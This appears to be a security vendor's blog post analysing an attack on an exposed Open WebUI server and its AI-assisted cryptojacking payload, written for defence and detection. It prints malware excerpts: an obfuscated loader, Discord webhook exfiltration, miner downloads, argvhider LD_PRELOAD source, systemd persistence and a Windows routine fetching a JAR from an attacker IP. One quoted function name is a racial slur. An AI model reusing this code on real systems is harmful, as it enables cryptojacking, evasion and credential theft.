Attacker exploits misconfigured AI tool to run AI-generated payload

SHARE:

Facebook logo LinkedIn logo X (formerly Twitter) logo

The Sysdig Threat Research Team (TRT) recently observed a malicious threat actor targeting a misconfigured system hosting Open WebUI, a popular application (95k stars on GitHub) that provides an extensible, self-hosted AI interface used to enhance large language models (LLMs). With access, the attacker was able to inject malicious code and download cryptominers. In this blog, we explore the detailed analysis of the attack and provide multiple means of behavioral and IoC-based detection. 

Key takeaways

  • Open WebUI was mistakenly exposed to the internet while also being configured to allow administrator access. 
  • A malicious AI-generated Python script was uploaded by the attacker and executed using Open WebUI Tools that targeted Linux and Windows.
  • The Windows payload is sophisticated and almost undetectable.
  • A Discord webhook was leveraged for command and control (C2), and cryptominers were downloaded.
  • The attacker used rarely-seen defense evasion tools to hide their activities, but Sysdig’s out-of-the-box, real-time detections caught them.

Initial access

Sysdig TRT identified that a customer’s training system running Open WebUI was accidentally exposed to the internet, with administrative privileges and no authentication. The exposure to the internet allowed anyone to execute commands on the system — a dangerous mistake attackers are well aware of and actively scanning for. Once the attackers discovered the exposed training system, they began using Open WebUI Tools, a plugin system used to enhance LLM capabilities. Open WebUI allows Python scripts to be uploaded so that LLMs can use them to extend their functionality. 

Once uploaded as an Open WebUI Tool, the malicious Python code was executed. The attackers likely used an automated script to add the Tool instead of manually using the UI. Open WebUI being exposed to the internet is not uncommon; as the Shodan query below shows, over 17,000 instances are currently listed. It is unclear, however, how many may be misconfigured or susceptible to other vulnerabilities. 

misconfigured system Open WebUI

Technical analysis

The attackers uploaded an Open WebUI Tool based on one of the default templates, but added malicious Python code to the end. The code is obfuscated using PyObfuscator. This increasingly common technique, dubbed pyklump by the Sysdig TRT, can be seen below:

_ = lambda __: __import__("zlib").decompress(__import__("base64").b64decode(__[::-1]))

exec( (_)( <base64 code> ) )Code language: Perl (perl)

Once loaded by Open WebUI, the malicious code was executed and continued the attack. The compressed Base64 reversed obfuscation is 64 layers deep, so to get the readable Python plaintext, we had to recursively decode the string. We used the following Python pyklump decoder script:

_ = lambda __: __import__("zlib").decompress(__import__("base64").b64decode(__[::-1]))

x = (_)( <base64 code>)

while "exec(" in x.decode():

    x = x.decode().replace("exec((_)(b","")

    x = x.replace("))","")

    x = (_)(x)

print(x)Code language: Perl (perl)

The resulting Python script was the attacker’s main payload. This script does several things:

  • Downloads and executes cryptominers
  • Compiles processhider and argvhider for stealth
  • Creates a service for persistence
  • Sends notifications to Discord

AI-assisted payload

Immediately upon reviewing the code, it didn’t seem quite right. The code has a “unique” style typical of LLMs. For example, the code below utilizes a Discord webhook to transmit the victim’s information to a channel, but relies heavily on inline format string variables. This pattern is common throughout the script, despite being rare among hackers. Using an LLM in this way makes the development of attack tools much quicker. 

HOOK = "https://canary.discord.com/api/webhooks/1357293459207356527/GRsqv7AQyemZRuPB1ysrPUstczqL4OIi-I7RibSQtGS849zY64H7W_-c5UYYtrDBzXiq"

msg = f"""starting instance: `{check_ip()}` (worker_id: `{worker_id}`)

nvidia-smi output:

```

{subprocess.getoutput("nvidia-smi")}

```

sys.platform output:

```

{sys.platform}        

```

1: `{str(prochider_res)}`, 2: `{str(argvhider_res)}`

whoami:

```

{subprocess.getoutput("whoami")}

```

Identifier: {ID}

Path: {source_path}

"""

        log(msg)Code language: Perl (perl)

The Sysdig TRT checked parts of the code with a ChatGPT code detector, and the result was:

Highly likely (~85–90%) is AI-generated or heavily AI-assisted. The meticulous attention to edge cases, balanced cross-platform logic, structured docstring, and uniform formatting point strongly in that direction.

We could confirm that some of the code was human-generated, so the code detector results were accurate in that the code was not fully created by AI. 

Linux attack path

The diagram below is a visual representation of the attack path as the code executes in Linux:

The script copies itself into the .config hidden folder based on the victim’s home directory before executing the rest of the payload.

dest_dir = os.path.join(os.path.expanduser("~"), ".config")

def copy_self():

    os.makedirs(dest_dir, exist_ok=True)

    shutil.copy2(source_path, destination_path)

    return TrueCode language: Perl (perl)

Cryptojacking

The script then downloads two cryptominers, T-Rex and XMRig, using gh-proxy to avoid network-based detections. The cryptocurrencies of choice for these attackers are Monero and Kawpow, using the “pool.supportxmr[.]com:443” and “rvn.2miners[.]com:6060” mining pools, respectively. 

def download_miner():

    [...]

        if sys.platform == "linux":

            endpoint = "https://gh-proxy.com/https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-linux.tar.gz"

            endpoint2 = "https://gh-proxy.com/https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz"

            data = request.urlopen(endpoint).read()

            with open(miner_tmp, "wb") as f:

                f.write(data)

            with tarfile.open(miner_tmp, "r:gz") as f:

                f.extractall(extract_tmp)

            os.rename(os.path.join(extract_tmp, "t-rex"), executable_path)

            data2 = request.urlopen(endpoint2).read()

            with open(miner_tmp, "wb") as f:

                f.write(data2)

            with tarfile.open(miner_tmp, "r:gz") as f:

                f.extractall(extract_tmp)

            os.rename(os.path.join(extract_tmp, "xmrig-6.22.2", "xmrig"), xmrig_path)Code language: Perl (perl)

Ultimately, the primary function of the code in Linux is cryptomining, like other campaigns that the Sysdig TRT has previously encountered. Below, we highlight the main code:

main_address = "RHXQyAmYhj9sp69UX1bJvP1mDWQTCmt1id"

xmr_address = "45YMpxLUTrFQXiqgCTpbFB5mYkkLBiFwaY4SkV55QeH2VS15GHzfKdaTynf2StMkq2HnrLqhuVP6tbhFCr83SwbWExxNciB"

miner_thread = Thread(target=start_miner, args=(prochider_res, argvhider_res, worker_id))

        miner_thread.start()

        while True:

            kill_miners()

            time.sleep(3)

kawpow_thread = Thread(target=kawpow)

monero_thread = Thread(target=monero)Code language: Perl (perl)

The first wallet we identified contained a total of around $700.

https://www.explorer.mangofarmassets.com/address/RHXQyAmYhj9sp69UX1bJvP1mDWQTCmt1id

The second wallet is a Monero XMR wallet, and its balance is unknown.

Defense evasion

The Python script included two inline C programs as source code that it attempted to compile at runtime. Both compiled into shared objects and were loaded using LD_PRELOAD

Processhider: This library is well-known for hiding the cryptominer process. It has a hardcoded process name, systemd, that it filters out of the results from the system calls readdir and readdir64. This allows their process to be hidden by many system utilities like ls and ps

Argvhider: This shared object is rather unique. Instead of hooking system calls, it hooks the main function using glibc. Then it modifies the stack to remove the arguments of the previous process, hiding arguments like mining pools and wallets.

NOTE: Sysdig Secure customers have Yara-based detections for both processhider and argvhider.

Below is the argvhider source code; it compiles as tem.c code into python3.so and is added as a LD_PRELOAD argument when the cryptominer runs. If we analyze step by step:

  • For each argument starting from argv[1] (skipping argv[0], which is usually the program name):
    • It duplicates the argument using malloc and strcpy.
    • Then it overwrites the original argv[i] memory with zeroes using memset.
    • Finally, it updates argv[i] to point to the new memory.

The original argument is erased from memory, making it invisible to observers via /proc/[pid]/cmdline, while the program still has access to the value in new memory. This technique provides an additional measure of defense evasion. 

#define _GNU_SOURCE

#include <stdio.h>

#include <dlfcn.h>

void hide_arguments(int argc, char **argv)

{

    for (int i = 1; i < argc; i++)

    {

        char *malloced_argument = malloc((strlen(argv[i]) + 1) * sizeof(char));

        strcpy(malloced_argument, argv[i]);

        memset(argv[i], 0, strlen(argv[i]) * sizeof(char));

        argv[i] = malloced_argument;

    }

}

int main_hook(int argc, char **argv, char **envp)

{

    hide_arguments(argc, argv);

    int ret = original_main(argc, argv, envp);

    free_arguments(argc, argv);

    return ret;

}

int __libc_start_main(

    int (*main)(int, char **, char **),

    int argc,

    char **argv,

    int (*init)(int, char **, char **),

    void (*fini)(void),

    void (*rtld_fini)(void),

    void *stack_end)

{

    original_main = main;

    typeof(&__libc_start_main) original_libc_start_main = dlsym(RTLD_NEXT, "__libc_start_main");

    return original_libc_start_main(main_hook, argc, argv, init, fini, rtld_fini, stack_end);

}Code language: Perl (perl)

Persistence

The script uses a systemd service to gain persistence. The name “ptorch_updater” is used to try to masquerade as a legitimate service. 

def create_service():

    filepath = os.path.join("/etc/systemd/system", f"{service_name}.service")

    content = f"""[Unit]

Description=System Daemon

After=network.target

[Service]

User=root

WorkingDirectory={dest_dir}

ExecStart=python3 {destination_path}

Restart=always

[Install]

WantedBy=multi-user.target

"""

    try:

        with open(filepath, 'w') as f:

            f.write(content)

        os.chmod(filepath, stat.S_IRUSR | stat.S_IWUSR | stat.S_IRGRP | stat.S_IROTH)

        subprocess.getoutput("systemctl daemon-reload")

        subprocess.getoutput(f"systemctl start {service_name}")

        subprocess.getoutput(f"systemctl enable {service_name}")

    except Exception as e:

        return NoneCode language: Perl (perl)

Windows attack path

The diagram below is a visual representation of the attack path as the code executes in Windows:

The Windows attack path is similar to that on Linux, but changes to a new path when it gets to the payload. The start_miner function included a function that not only ran the miner, but also installed the Java Development Kit (JDK) in order to execute a JAR file downloaded from 185.208.159[.]155, which is no longer hosting the file at the time of this writing. 

JAVA_URL = "https://download.visualstudio.microsoft.com/download/pr/e2393a1d-1011-45c9-a507-46b696f6f2a4/a1aedc61f794eb66fbcdad6aaf8a8be3/microsoft-jdk-21.0.6-windows-x64.zip"

YES = "http://185.208.159.155:8000/application-ref.jar"

[...]

    def nigger():

        java_tmp = os.path.join(tmp_path, "java_archive")

        java_dest = os.path.join(tmp_path, "java_bin")

        javaw = os.path.join(java_dest, "jdk-21.0.6+7", "bin", "javaw.exe")

        yes_dest = os.path.join(tmp_path, "yes.jar")

        data = request.urlopen(JAVA_URL).read()

        with open(os.path.join(java_tmp), "wb") as f:

            f.write(data)

        with zipfile.ZipFile(java_tmp, "r") as f:

            f.extractall(java_dest)

        log("java downloaded")

        data = request.urlopen(YES).read()

        with open(os.path.join(yes_dest), "wb") as f:

            f.write(data)

        log("yes downloaded")

        log("running yes")

        out = subprocess.getoutput(f"{javaw} -jar {yes_dest}")

        log(out)

    if sys.platform == "win32":

        nigger_thread = Thread(target=nigger)

        nigger_thread.start()

        monero_thread.start()Code language: Perl (perl)

The downloaded JAR file, application-ref.jar, is a Java-based loader that executes a secondary malicious JAR. 

public class BootLoader {

   public static void boot() {

      try {

         Path fileFromResource = createFileFromResource("META-INF/background.properties", "INT_D.DAT");

         Path fileFromResource1 = createFileFromResource("META-INF/LICENSE.ref", "INT_J.DAT");

         String agentArgument = String.format("-agentpath:%s=PACKAGE_NAME=native0,KEY=oXPfmN6bYin6peGV", quoteString(fileFromResource.toString()));

         ProcessBuilder builder = new ProcessBuilder(new String[]{"java", "-noverify", "-XX:+DisableAttachMechanism", agentArgument, "-jar", quoteString(fileFromResource1.toString())});

         Process process = builder.start();Code language: Perl (perl)

Two resource files (background.properties and LICENSE.ref) were copied from the JAR’s META-INF folder to the victims home directory as INT_D.DAT and INT_J.DAT, respectively. 

The INT_D.DAT file was then executed with a ProcessBuilder call, which includes some suspicious parameters that were passed to the new process: PACKAGE_NAME=native0,KEY=oXPfmN6bYin6peGV.

The ProcessBuilder launched a new Java process with:

  • -noverify: Skips bytecode verification (standard in malware to bypass security checks).
  • -XX:+DisableAttachMechanism: Prevents monitoring and debugging.
  • -agentpath: Loads a native agent library.
  • -jar: Runs the INT_J.DAT file as a JAR (but remember, this came from LICENSE.ref, not an actual license file).

INT_D.DAT

Hash: eb00cf315c0cc2aa881e1324f990cc21f822ee4b4a22a74b128aad6bae5bb971

VirusTotal detection: 1/73

Original name: background.properties

This file is a 64-bit Windows DLL that does:

  • XOR-decoding
  • Long sleeps to evade sandboxes
  • JVM Tool, has Agent_OnLoad and Agent_UnLoad exports

INT_J.DAT

Hash: 833b989db37dc56b3d7aa24f3ee9e00216f6822818925558c64f074741c1bfd8

VirusTotal detection: 1/68

Original Filename: LICENSE.ref

This JAR contains: 

  • Another DLL (app_bound_decryptor.dll)
  • Multiple Infostealers
  • Malicious Java that uses Powershell, WebSockets, and performs hardware and system discovery
Infostealers

Credential theft is one of the primary goals of attackers these days. Stolen keys give attackers access to additional resources to further infiltrate the victims’ environments. This theft is also a key part of financial motivations, as the stolen keys can be sold to other attackers for additional attacks, like ransomware. This malware contains packages that can be used for credential theft from Chrome extensions and Discord. The JSON file below lists the targets for the infostealer.

extensions.json

Malicious code was also present that attempts to hijack Discord and, in theory, steal the victim’s authentication token. This code accesses request headers for specific URLs that would have the token the attacker is interested in.

desktop_core.js

App_bound_decryptor.dll

Hash: 41774276e569321880aed02b5a322704b14f638b0d0e3a9ed1a5791a1de905db

VirusTotal Detection: 2/72

This file is a 64-bit Windows DLL that does:

  • XOR encoding/decoding
  • Creates, reads, and writes over a named pipe
  • Creates a suspended thread
  • Sandbox detection

The call to IsProcessorFeaturePresent is a newer method of sandbox detection. The value passed, 0x17, is for PF_FASTFAIL_AVAILABLE, which is often unavailable in virtualized environments. 

hNamedPipe = CreateNamedPipeA(lpName,3,6,1,5000,5000,0,(LPSECURITY_ATTRIBUTES)0x0);

...
  plVar5 = FUN_180002e70(local_13c8,local_13a8);
...

  ConnectNamedPipe(hNamedPipe, NULL);

...

  ReadFile(hNamedPipe, local_13a8, 5000, ...);

...

  BVar2 = IsProcessorFeaturePresent(0x17)

...

  BVar2 = IsDebuggerPresent();Code language: Perl (perl)

Threat detection

While this malware deploys some interesting techniques, it is easily detected at runtime on Linux using Sysdig Secure. This type of malware will trigger multiple rules, but we will highlight two. First is our built-in Yara support, where we can detect malicious shared objects when they are written to disk.

  • Malware Detection (YARA rule)
malware detection sysdig

The second is detecting shared objects being loaded into a process, which stands out with this attacker’s approach. 

  • LD_PRELOAD Library Injection

Multiple Threat Intelligence rules were also triggered, detecting the domain names being looked up. 

  • Detect crypto miners using the Stratum protocol (Sysdig Runtime Threat Intelligence)
  • DNS Lookup for Suspicious Domain Detected (Sysdig Runtime Notable Events)
  • Detect reconnaissance scripts (Sysdig Runtime Threat Detection)
  • Launch Code Compiler Tool in Container (Sysdig Runtime Activity Logs)

Conclusion

Accidental misconfigurations where systems like Open WebUI are exposed to the internet remain a serious problem. In this incident, a misconfiguration allowed attackers to upload and execute a malicious AI-generated Python script. The payload downloaded cryptominers, used uncommon defense evasion tools like processhider and argvhider, and leveraged a Discord webhook for command and control. The attacker also targeted both Linux and Windows systems, with the Windows version including sophisticated infostealer and evasion techniques. Ultimately, to discover and respond to complex threats like those seen in this operation, runtime security with multi-layer threat detection is essential.

Indicators of compromise

Indicator NameIndicator TypeIndicator Value
application-ref.jarSHA2561e6349278b4dce2d371db2fc32003b56f17496397d314a89dc9295a68ae56e53
LICENSE.jarSHA256833b989db37dc56b3d7aa24f3ee9e00216f6822818925558c64f074741c1bfd8
app_bound_decryptor.dllSHA25641774276e569321880aed02b5a322704b14f638b0d0e3a9ed1a5791a1de905db
background.propertiesSHA256eb00cf315c0cc2aa881e1324f990cc21f822ee4b4a22a74b128aad6bae5bb971
com/example/application/Application.classSHA2560854a2cb1b070de812b8178d77e27c60ae4e53cdcb19b746edafe22de73dc28a
com/example/application/BootLoader.classSHA256f0db47fa28cec7de46a3844994756f71c23e7a5ebef5d5aae14763a4edfcf342
desktop_core.jsSHA2563f37cb419bdf15a82d69f3b2135eb8185db34dc46e8eacb7f3b9069e95e98858
extensions.jsonSHA25613d6c512ba9e07061bb1542bb92bec845b37adc955bea5dccd6d7833d2230ff2
Initial Python ScriptSHA256ec99847769c374416b17e003804202f4e13175eb4631294b00d3c5ad0e592a29
python.soSHA2562f778f905eae2472334055244d050bb866ffb5ebe4371ed1558241e93fee12c4
Malicious JAR Downloader URLURLhttp[:]//185[.]208[.]159[.]155:8000/application-ref.jar
XMRIG URLURLhttps[:]//gh-proxy[.]com/https[:]//github[.]com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz
T-Rex URLURLhttps[:]//gh-proxy[.]com/https[:]//github[.]com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-linux.tar.gz
Discord WebhookURLhttps[:]//canary[.]discord[.]com/api/webhooks/1357293459207356527/GRsqv7AQyemZRuPB1ysrPUstczqL4OIi-I7RibSQtGS849zY64H7W_-c5UYYtrDBzXiq
RavenCoin WalletWallet AddressRHXQyAmYhj9sp69UX1bJvP1mDWQTCmt1id
Monero XMR WalletWallet Address45YMpxLUTrFQXiqgCTpbFB5mYkkLBiFwaY4SkV55QeH2VS15GHzfKdaTynf2StMkq2HnrLqhuVP6tbhFCr83SwbWExxNciB
Payload IPIP Address185.208.159[.]155

Subscribe and get the latest updates